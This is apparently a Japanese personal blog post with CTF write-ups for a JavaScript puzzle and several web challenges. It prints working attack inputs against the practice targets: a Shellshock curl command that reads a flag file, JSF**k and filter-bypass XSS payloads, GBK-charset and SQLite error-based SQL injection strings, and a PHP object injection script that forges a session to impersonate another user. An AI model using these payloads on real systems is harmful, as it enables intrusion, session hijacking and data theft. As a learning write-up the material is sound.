st98 の日記帳


[ctf] 場阿忍愚CTFに参加しました (超文書転送術カテゴリと JavaScript Puzzle の write-up)

去年の11月16日から今年の2月7日まで開催されていた場阿忍愚CTFに st98 として参加しました。
最終的に全 48 問中 41 問を解き、6115 点を獲得しました。10 点以上獲得した 439 人中、9 位でした。

解いた問題のうち、超文書転送術 (Web) カテゴリの問題と記述術 200 点の JavaScript Puzzle という問題の (私の) 解法を紹介します。

[記述術 200] JavaScript Puzzle

SECCON 2014 オンライン予選 (英語)で出題された jspuzzle がバリバリ ES2015 な感じに変えられた問題でした。

window["<1>"]["<2>"]`${
    [ <3>, <4>, <5>, 0x52, 0x54 ]
    ["<6>"](x=>String["<7>"](x))["<8>"]("")["<9>"]() +"<10>"
}`;

という問題と、それぞれの部分に入れられる

map join (1) (101) (0b1001100) eval toLowerCase call fromCodePoint (0O000101)

が与えられます。

まず <3> <4> <5> について考えます。後ろに続く 0x520x54 の数値ですが、これはそれぞれ ASCII コードで RT になります。
与えられたもののうち数値リテラルっぽいものは (1) (101) (0b1001100) (0O000101) の 4 つ。ASCII コードで印字可能なのは後ろの 3 つで、それぞれ e L A0b で始まるものと 0O で始まるものは ES2015 にある 2 進数リテラルと 8 進数リテラルです。
たぶん これは /alert/i になるんだろうなーという推測から、<3> <4> <5> はそれぞれ (0O000101) (0b1001100) (101) になります。

<6> について考えます。Array.prototype.** に入れられるものは、map join の 2 つです。引数は (x=>String["<7>"](x)) とアロー関数になっているので map でしょう。

<7> について考えます。入れられるものは fromCodePoint のみです。String.fromCodePoint() は ES2015 で追加された、与えられた Unicode のコードポイントから文字列を返す String の静的メソッドです。

<8> について考えます。これまでに分かっているものを当てはめて実行してみると ["A", "L", "e", "R", "T"]["<8>"]() となることが分かります。当てはまるものは join です。

<9> について考えます。<8> を当てはめて実行してみると "ALeRT" という文字列ができました。入れられるものは toLowerCase() のみです。

<10> について考えます。<1> と <2> には (1) は入れられないので、(1) です。

evalcall が残りました。window.call は存在しないので <1> が eval、<2> が call です。

実行してみると、alert(1) ができました。

flag: 4c0bf259050d08b8982b6ae43ad0f12be030f191

初倒しは私でした。やったー。

[超文書転送術 100] GIFアニメ生成サイト

トップページにある、これまでに生成された GIF 画像の URL を見てみると、/movies/view/2874 のような形式でした。
/movies/view/1 にアクセスしてみたところ、閲覧する権限がないと怒られてしまいました。

試しに画像をアップロードして GIF を作ってみると、プレビューの URL が /movies/newgif/2956 となっており、先ほどと形式が異なっています。
/movies/newgif/1 にアクセスすると、フラッグが表示されました。

flag: H0WdoUpronunceGIF?

[超文書転送術 200] Network Tools

/list を見てみると arp ps のような特定のコマンドとオプションを入力して送信ボタンを押すと /exec に POST で投げられるという感じでした。
ここで OS コマンドインジェクションが可能なのではと考えたのですが、コマンドはいじってもリストにあるもの以外はダメ、オプションはコメントアウトされているホワイトリストにあるもの以外はダメといった様子でした。

/about を見てみると、ちょっとした文章と NOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE! という注釈文。文章を見てみると変な位置に大文字があるので、文章から大文字のみを取り出してみると SHELLSHOCK

curl -A '() { :;}; /bin/ls' -F "cmd=hostname" -F "option=" http://…/exec を投げると flag.txt logs logs.py … といった出力が返ってきました。
/bin/ls の部分を /bin/cat flag.txt に変えるとフラッグが出ました。

flag: Update bash to the latest version!

…というのが普通なんですが、最初に解いたときは /bin/ls のようにすべきところを ls と書いてしまって動かず、大分詰まっていました。
ならどうしたのかというと、() { :;}; $(hoge) とすると /bin/sh: hoge: No such file or directory のようにエラーが出ることから、それなら hoge の部分でフラッグを出せばいいのでは…と考えてしまいました。

/cgi-bin/flag.txt にアクセスすると、HTTP ステータスコードが 404 でなく 503 になっています。このことから、フラッグが flag.txt にあると推測しました。
$(hoge)$(<flag.txt) にすると /bin/sh: flag={Update bash to the latest version!}: No such file or directory と表示され、無事フラッグを手に入れることができました。

[超文書転送術 100] 箱庭XSS

ABCabc と入力すると ABCABC が返ってきました。入力が全て大文字にされてしまうようです。
スクリプト部分を全部記号にしてしまえば大文字小文字は関係ないので、JSF**k などを使って

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>

のようにするとフラッグが表示されました。

flag: 2ztJcvm2h52WGvZxF98bcpWv

[超文書転送術 100] 箱庭XSS 2

AalertB と入力すると AB が返ってきました。alert が消されてしまっているようです。
aalertlert と入力すると alert が返ってきたのでこれでアラートができそうです。

<script>aalertlert(1)</script>
flag: n2SCCerG4J9kDkHqvHJNhwr4

[超文書転送術 200] YamaToDo

自分が投稿した ToDo しか読めない ToDo リストサービス。yamato さんの ToDo をのぞき見る問題です。

ソースコード付き。怪しいところを探してみます。

$ie = (isset($_GET['ie']) === true) ? preg_replace('/[^a-z0-9]/', '', strtolower((string)$_GET['ie'])) : mb_internal_encoding();
$ie = ($ie !== 'sjis') ? $ie : die('sjis? so sweeeeeeeeeet');
mysqli_query($link, sprintf('set names %s', $ie));

set names … の文字コードを /[a-z0-9]+/ の範囲内で自由にいじれるようですが、sjis (Shift_JIS) はダメみたいです。

$sql = sprintf("insert into todos (`user_id`, `body`, `create_at`) values ('%s', '%s', NOW())",
  mysqli_real_escape_string($link, $_SESSION['user_id']),
  mysqli_real_escape_string($link, $body)
);

mysqli_real_escape_string() でユーザの ID と本文をエスケープしたあと、ToDo リストに追加しています。

文字コードが変えられるというのが不自然。怪しい。
Shift_JIS といえば、Wikipedia の Shift_JIS の記事に書いてある、2 バイト目に 0x5c が入っている文字があるという問題。

これを SQLi につなげるにはどうすればいいんだろうと stackoverflow sqli charset でググったところ、懇切丁寧に解説されている回答を見つけました。
どうやら Shift_JIS でなくとも gbk という文字コード (中国の文字コード) でもできるようです。

早速ログインして /?ie=gbk にアクセス。
?', NOW()), (0x676f68616e, (select a from (select group_concat(body separator 0x7c) as a from todos where user_id=0x79616d61746f) as t),NOW());# を送信すると、フラッグっぽい文字列が表示されましたが、文字化けしています。
とりあえずページを保存してバイナリエディタで開き、色々文字コードを試していると EUC-JP半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m} と読めました。

flag: r3m3Mb3r_5c_pr0bL3m

初倒しは私でした。やったー。

参考

[超文書転送術 300] Yamatoo

検索エンジン。機密データをのぞき見る問題です。

ソースコードがあるのでざっと見てみます。

まず schema.sql を見ます。

CREATE TABLE `flag` (
    `flag` VARCHAR(60) not null
);

CREATE TABLE `site` (
    `title` VARCHAR(255) not null,
    `description` TEXT not null,
    `url` VARCHAR(255) not null
);
CREATE VIRTUAL TABLE `site_fts` USING fts4(`words` TEXT);

site がサイトのテーブル、site_fts が全文検索用の仮想テーブル、flag が機密データのテーブルっぽいです。

index.php を見ていきます。

<?php
function ngram($text, $n = 2)
{
  $return = array();
  $n = (int)$n;

  foreach (array_filter(explode(' ', trim($text))) as $word) {
    $length = mb_strlen($word) - $n;
    if ($length > 0) {
      for ($i = 0; $i <= $length; $i++) {
        $return[] = mb_substr($word, $i, $n);
      }
    } else {
      $return[] = $word;
    }
  }

  return $return;
}

ngram('hoge') を渡すと array('ho', 'og', 'ge') が返ってくるような関数です。めんどくさそうです。

<?php
if (preg_match('/like|glob|nullif|case|union|sleep|substr|instr|soundex|load/i', $keyword) === 1) {
  exit('WAF~><');
}  

SQLi のフィルターです。バイパスは難しそうです。

<?php
$keyword = mb_convert_kana($_GET['q'], 'KVas');
// …
$pdo = new PDO('sqlite:../db/yamatoo.db');
// …
if (mb_strlen($keyword) > 2) {
  $words = implode(' ', ngram($keyword));
  $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
} else {
  $where = "`title` like '%{$keyword}%'";
}

$result = $pdo->query("select * from `site` where {$where}");

検索部分です。3 文字以上の文字列の場合 $wordsimplode(' ', ngram($keyword)) が、{$keyword} に入力値がそのまま入ります。
' or 1 ; -- のように 3 文字以上のトークンがない単純なものならいいんですが、この問題の目的は登録されているすべてのサイトの情報を得ることではなく機密データをのぞき見ることなので、そのためには $words で SQLi を狙うのは厳しそうです。

SQLite では、シングルクォートは '' のように 2 つ重ねることでエスケープすることができます。
これを利用して ''' と入力すると、implode(' ', ngram($keyword))'' '' '' となり、match '{$words}' の部分でクエリが壊れず、また '%{$keyword}%' の部分でいい感じに文字列を閉じることができ、SQLi が狙えます。

mage さんのツイートを漁っていると気になるツイートを見つけました。
DB によってやり方が異なってそうな SQLi といえば Error-Based SQLi です。sqlite error based でググるとそれっぽい記事がヒットしました。

あとは ''' or (select 1 from site_fts where words match char(34)||(select flag from flag));-- を投げるとフラッグが出てきました。

flag: 3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637

参考

[超文書転送術 400] Yamatonote

自分が投稿したノートしか読めないメモ帳サービス。yamato さんのノートをのぞき見る問題です。

とりあえずアクセスしてユーザ登録。YAML をアップロードすると、タイトルや本文を読み込んで投稿してくれるという便利機能付きです。
ソースコードがあるので YAML の処理をしている部分を index.php から探してみます。

$yaml = new String(file_get_contents($file));
$parsed = yaml_parse($yaml->optimize()->yaml()->get());

アップロードされた YAML ファイルの内容は yaml_parse() でパースされています。
PHP マニュアルの yaml_parse() ページを見てみると、

警告
!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。

と警告がされています。外部からのデータがそのまま unserialize() に渡される…と聞いて思い出すのが PHP オブジェクトインジェクション。外部から任意のクラスのオブジェクトが作れてしまいます。

もう少し調べてみると !php/object … とすることで unserialize(…) が実行されるようです。
このサービスでユーザ入力が unserialize() に渡されるのか、文字列をシリアライズ化したもので検証してみます。

$ php -r 'echo serialize("yabai") . "\n";'
s:5:"yabai";
$ cat > payload.yaml
title: !php/object s:5:"yabai";
body: body

タイトルが yabai のノートが作成され、ユーザ入力が unserialize() に渡されていることが確認できました。

__destruct() メソッド (オブジェクトが破棄される際に呼ばれる) や __wakeup() メソッド (オブジェクトが unserialize() でアンシリアライズされる際に呼ばれる) に気を付けながら、攻撃に使用するクラスを見ていきます。

まず classes/Db.php

<?php
class Db
{
  public $charset = 'utf8';
  public $link = null;
  private static $_instance = null;
  // …
  public function __construct()
  {
    $this->connect();
  }
  // …
  public function connect()
  {
    $this->link = mysqli_connect(YAMATONOTE_DB_HOST, YAMATONOTE_DB_USER, YAMATONOTE_DB_PASS);
    $this->query(sprintf('use %s', YAMATONOTE_DB_NAME));
    $this->query(sprintf('set names %s', $this->charset));
  }
  // …
  public function __wakeup()
  {
    $this->connect();
  }
}

PDO みたいなクラス。__wakeup() メソッドがあり、その中で connect() メソッドを呼んで DB に接続しています。使えそうです。

続いて classes/Session.php

<?php
class Session
{
  public $id = '';
  public $db = null;
  private $_param = array();
  public function __construct()
  {
    session_start();
    $this->id = session_id();
    $this->db = Db::getInstance();
    $this->load();
  }
  public function load()
  {
    $sql = 'select `param` from `session` where `id` = :id';
    $session = $this->db->fetch($sql, array(':id' => $this->id));
    $this->_param = (isset($session['param']) === true) ? unserialize($session['param']) : array();
  }
  public function save()
  {
    $sql = 'select count(*) as __count from `session` where `id` = :id';
    $session = $this->db->fetch($sql, array(':id' => $this->id));
    $count = (int)$session['__count'];

    $param = serialize($this->_param);
    $sql = ($count === 1) ?
      'update `session` set `param` = :param where `id` = :id' :
      'insert into `session` (`id`, `param`) values (:id, :param)';
    $this->db->query($sql, array(':id' => $this->id, ':param' => $param));
  }
  public function __destruct()
  {
    $this->save();
  }
}

セッション管理を行っているクラス。id プロパティにはセッション ID、db プロパティには先ほどの Db クラスのオブジェクト、private な _param プロパティには配列でセッションデータが入っている様子です。
__destruct() メソッドでは save() メソッドが呼ばれています。save() メソッドでは自身の持つセッション ID とセッションデータの更新か挿入を行っています。

この Session クラスを利用して _param プロパティが array('user_id' => 'yamato') であるセッションを作ることで、yamato さんに成りすましてノートをのぞき見ることができそうです。

では、攻撃してみます。

$ cat payload.php
<?php
class Db {}
class Session {
  public $id;
  public $db;
  private $_param = array();
  function __construct($id, $user_id) {
    $this->id = $id;
    $this->db = new Db();
    $this->_param['userId'] = $user_id;
  }
}
echo "title: !php/object " . serialize(new Session('session-id-dayo', 'yamato')) . "\nbody: body\n";
$ php payload.php > payload.yaml

できた YAML ファイルを Fiddler などで通信をキャプチャしながらアップロードすると、生成されたノートへの遷移を行っているページで Notice: yaml_parse(): Failed to unserialize class in … とエラーを吐いています。どうやら YAML のパースに失敗した様子です。

index.phpYAML ファイルをパースしている部分をもう一度確認します。

$yaml = new String(file_get_contents($file));
$parsed = yaml_parse($yaml->optimize()->yaml()->get());

YAML ファイルの内容は String という謎のクラスに渡され、String::optimize()String::yaml() を通したあとに yaml_parse() でパースされています。

String クラスについて詳しく見てみます。classes/String.php を確認します。

<?php
class String
{
  // …
  public $str = '';
  // …
  public function optimize()
  {
    $from = mb_detect_encoding($this->str, 'ASCII,JIS,UTF-8,eucjp-win,sjis-win', true);

    if ($from === false) {
      e('Contain invalid chars');
      die();
    }

    $this->str = strtr($this->str, array("\x00" => '', "\r\n" => "\n", "\r" => "\n"));
    $this->str = mb_convert_encoding($this->str, $this->charset, $from);
    return $this;
  }
  public function yaml()
  {
    // anti null-byte in yaml
    $this->str = preg_replace('/\\\\+x?0+/', '', $this->str);
    return $this;
  }
  // …
}

optimize() メソッドでは null が削除され、\r\n\r\n に置換されています。yaml() メソッドでは \x00\0 のようなエスケープされた null が削除されています。

攻撃に使った payload.yaml を確認すると、Session_param プロパティ辺りに null が入ってしまっています。
private や protected なプロパティをシリアライズ化すると、プロパティ名に null が入ってしまうためです。

この null を普通にエスケープしようとしても、yaml() によって消されてしまいます。
何とかならないか YAML のエスケープの仕様を読んでみたところ、\uXXXX という方法を見つけました。

さっき書いた攻撃コードを修正して、もう一度攻撃してみます。

$ cat payload.php
<?php
class Db {}
class Session {
  public $id;
  public $db;
  private $_param = array();
  function __construct($id, $user_id) {
    $this->id = $id;
    $this->db = new Db();
    $this->_param['userId'] = $user_id;
  }
}
function f($s) {
  return str_replace("\0", '\u0000', str_replace('"', '\\"', $s));
}
echo 'title: !php/object "' . f(serialize(new Session('session-id-dayo', 'yamato'))) . '"' . "\nbody: body\n";
$ php payload.php > payload.yaml

できた YAML ファイルをアップロードすると、タイトルに何も書かれていないノートが作成されました。
クッキーの PHPSESSIDsession-id-dayo に変えると、yamato さんのノートをのぞき見ることができました。

flag: pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700

ちなみに、この解法は想定解ではないそうです…(´・ω・`)
想定解やほかの解法については mage さんの資料をご覧ください。

参考

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳